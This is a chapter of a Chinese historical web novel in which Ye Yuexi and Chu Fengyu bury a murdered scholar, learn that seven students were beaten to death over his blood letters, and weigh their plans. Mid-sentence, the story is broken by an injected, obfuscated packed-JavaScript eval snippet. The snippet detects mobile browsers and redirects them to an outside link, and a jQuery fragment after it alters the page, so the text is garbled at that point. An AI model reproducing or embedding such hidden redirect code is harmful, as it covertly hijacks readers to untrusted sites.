樊州县衙内,叶月兮和楚风玉两人见到了吕文博。
楚风玉的手下已经打点好了,如今四下寂静。不过为了以防万一,两人还是遮了面,叶月兮带着那银白面具,而楚风玉倒是带上了一顶帷帽。
这屋子本就是县衙专门用来存放尸首的,尽管如今里面只有吕文博一人,但还是能闻见一股浓烈的腐败味。
楚风玉掀开帷帽冲出屋子,在门口干呕起来。
叶月兮看了他一眼,也没说什么。
她自幼学医,师父行径奇特,这样的味道她早已闻惯。
叶月兮看向在那安静躺着的吕文博,面色惨白,没有一点血色,而那脖颈处依旧是艳红的一片。
吕文博的手臂上有很多划痕,新旧不一的,是他剜血留下的痕迹。
叶月兮将那白布拉起,给吕文博盖上。
她转头看向楚风玉道:“可以了,没什么问题,你让人来吧。”
吕文博的坟是叶月兮和楚风玉亲手挖出来的,没让别人帮忙。他们就这么一铲一铲地将那土包垒了起来。
立了块碑。
和他父母葬在了一起。
这里远离江岸,在樊州背后的山里,算得上僻静,景色也还不赖。
山风吹过林梢,带着土壤和草木的气息,将身后的那座新坟衬得凄凉。
两人结伴往山下走的时候,楚风玉问道:“现在能知道你的名字了吗?”
叶月兮戴着那银白面具,遮住了半张脸,独留那双眼直直看着楚风玉。
楚风玉被她看得心惊,刚想说算了,便听见叶月兮答了:“我姓叶,叶月兮。”
临近一月的相处,如今的楚风玉方才得知叶月兮的名讳。
胸腔中那平缓的跳动竟是没缘由地忽地快了一瞬。
他没急着追问叶月兮究竟要不要站在自己这边。如今她肯告诉名字,说明是信了他一些的,至于同路行,待到再过几日吧。
总不能这般将人给逼走了。
楚风玉跟在叶月兮身侧半步之后,两人沉默着走了一段。山间空寂,只闻鸟鸣与脚步声。
“接下来,你待如何?”叶月兮忽然开口,声音在山间格外清晰,“吕文博已入土为安,血书和名单你也已经拿到。是即刻动身回珲都,还是……”
“仅凭这些撼动不了齐家和其背后盘根错节的势力。”楚风玉低声道:“我想在樊州多呆一些时日。期间还得做些准备,告知父亲和师父,此番回珲都,便很难再出来了。”
楚风玉故作一笑地轻松出声:“所以,叶姑娘若是此刻想要抽身,还来得及。再深入下去,你便不得再离开我身旁半步了。”
叶月兮静默片刻,忽地抬手,指尖轻轻触上了面具的边缘。这个动作让楚风玉呼吸一滞。
但她并未摘下那面具,只是略微调整了一下位置,让视线更开阔一些。然后,叶月兮往前迈开步子,声音随风飘来,清晰地落入了楚风玉耳中:
“我既然告知了你名字,便未曾打算就此离开。”
楚风玉一怔,那紧绷着的、不安的心顷刻松懈下来,随即眼底荡漾开真切的笑意,他快步跟了上去,问道:“那你要和我一起回珲都吗?”
闻言,叶月兮心神一动,但面上却是未曾显露出来。
她的计划快要成功了。
接近楚风玉,利用他的身份,带自己去珲都。
这才是她这么些时日和楚风玉相处的目的。
如今被楚风玉就这般问了出来。
叶月兮倒是也并未急着回答,反倒是吊着他:“我说了,待你带着十足的诚意的时候,再来问我。”
如今倒是轮到楚风玉怔愣了一下,这还没诚意吗?莫不是……不够重视。
心中莫名酸涩。
两人不再言语,一路无话回到了城中。暮色已起,金乌西落,不尽春的笙歌隐约传来,与山间的凄清恍如两个世界。
这几日日升日落的,他们都未曾再离开樊州。
楚风玉白日在巷口街角晃着,试图打探一些什么消息,而叶月兮倒是怡然自得地在客栈内逗弄狸猫。
不尽春的莺歌燕舞每日准点升起,为樊州城带来一抹秋日里的春色。
直至吕文博离世后的第四日午时,一阵敲门声将叶月兮从闲情中拉回。
才一开门便听见噩耗。
“吕文博所留下的那些血书,被一些学子拿着告上了府衙,却被府衙降罪……杖毙而亡。”
那些学子不信樊州县衙,故而拿着那威胁到朝堂安危的血书直接越权上告了府衙,自然是死路一条。
江南本就距离珲都山高路远的,一府官员便称得上是土皇帝,掌一方生死。
且不论这血书是否有人信有人愿意去查,单论这越权一事,便足够这些学子吃一顿苦头。
但有了这血书,苦头可就更大了些。
杖毙而亡。
叶月兮听着,不住瞪大了眼睛,耳边楚风玉絮絮叨叨讲述经过的声音好似变成了一阵嗡鸣,令她什么也听不真切。
本也知道那血书定然不会全部收回,樊州县衙尽管封锁了消息,但还是有人冒死闯了上去。
哪怕撞一个头破血流也绝不回头。
但,为了这科举舞弊之事,死的人已经够多了。
叶月兮不忍再看还要有多少鲜血扑死在这高耸山峰上。
每死一个人,便是平阳丧失的一个固国之才,便是一个家的支离破碎。
“死了多少人。”耳边的嗡鸣平息下来,叶月兮平复了情绪问道。
楚风玉答:“七人……”
七人,但这似乎只是开始。
难以想象府衙此番恶行一出,又会有多少学子前仆后继地再往上告,县衙不行便府衙,府衙不行便去旁郡。
一次不成便百次,百次不成便千次。
世间或总有麻木冷漠之人,但孤勇热血之人更多。
“尸首呢?如何处置的?”
“扔到了荒山中的乱葬岗内。”楚风玉声音阴沉下去:“府衙的人给定的罪是聚众闹事、诽谤朝廷命官、冲击官府,按律当诛。被呈递上去的血书也当着百姓的面焚毁了。”
吕文博自己燃起的这把火,还未烧出真相却被反扑灼伤。
“知府说,此等大逆不道,蛊惑人心之物,不当留存于世。”
焚烧血书,与其说是销毁证据
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035072|193525||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不如说是一种威慑——一种毫不掩饰的、用火焰和死亡宣告的强权姿态:凡质疑此金榜,凡指摘此不公者,皆为此下场。
吕文博的血,未能惊醒装睡的人,反而引来了更彻底的清洗。那血书上“苍天负我”的嘶吼,在官府的火焰里,似乎真的成了一句无人聆听的呓语。
叶月兮冷声道:“如今便是难以明了,这知府究竟是那公子的人,还是单纯地害怕此事引来杀身之祸。”
若是单纯怕死倒也还好,怕就怕,知府也是他们的人。
“若知府与他们同流合污,那你想要回珲都,恐是难上加难。”叶月兮抬眼看着楚风玉。
他的身份已然暴露于江宁和樊州,此番又这般大张旗鼓地保下了吕文博的尸身,恐是行迹早已暴露于珲都那群人眼里。
楚风玉无奈地摇头笑着:“或是有些难,但却不是必然回不去。”他大方坦白道:“这些事情我本可以假装看不见的,但我却是需要一个回珲都的契机,这些便是我能回到珲都的踏板。没有江宁和樊州的这些事,我或许还真不太可能这么早能回去。”
“尽管令人有些不耻,但这便是我插手的真相。”
叶月兮静静听着,神情没有丝毫波动。楚风玉的坦白,并未让她感到意外或鄙夷。
这世道,谁人行事不是带着几分算计、几分不得已?纯粹的善意与侠义,在这泥潭里活不过三更。
况且就连叶月兮自己,也是存着别样的心思接近楚风玉的,江宁贪污一事她也是将其做过踏板的。
故而她并不能评判什么好坏。
“利用也好,踏板也罢,”她淡淡道,声音里听不出情绪,“至少你做了。比起那些明知不公却视而不见、甚至推波助澜之人,已算难得。”
楚风玉看着她,心神一动,带这些怔愣,眼睛却一直看着叶月兮,试图从她那双沉静的眼眸里分辨出真实的想法,却只看到一片沉静,问得颇有些小心翼翼:“你不觉得……我太过功利?”
“功利?”叶月兮轻轻摇头,目光投向窗外樊州城灰蒙蒙的天空,“若无功利之心,无自保之能,无翻云覆雨之志,你凭什么去撼动那盘根错节的势力?凭一腔热血吗?”她转过头,目光落在楚风玉脸上,“吕文博有热血,那些学子有热血,如今他们何在?”
“所以,”叶月兮继续道,语气依旧平淡,却字字清晰,“你无需向我解释你的‘动机’。我只看你做了什么,以及,接下来要做什么。”
闻言,楚风玉长叹一口气,似乎真的像卸了一块大石一般,颇有些如释重负,似乎真怕在叶月兮心中留下不好的印象。
他道:“接下来轮不到我落子的时候了,得且看对方落子何方。或许,再来一场刺杀也不为过。我如今能做的,不过是将那七人的尸首收回来安顿好。”
“远远不够。”叶月兮开口道:“科举一事本就是这些书生学子的逆鳞,不可触及。如今吕文博将其捅破,只会让这些学子更加恼怒,他们会不顾一切地想要朝廷还他们一个公道,但这不过飞蛾扑火。”
“我们要做的,还要制止更多的学子将鲜血铺洒在这些毫无意义的事上。若是运用得当,或许日后还能成为你的助力。”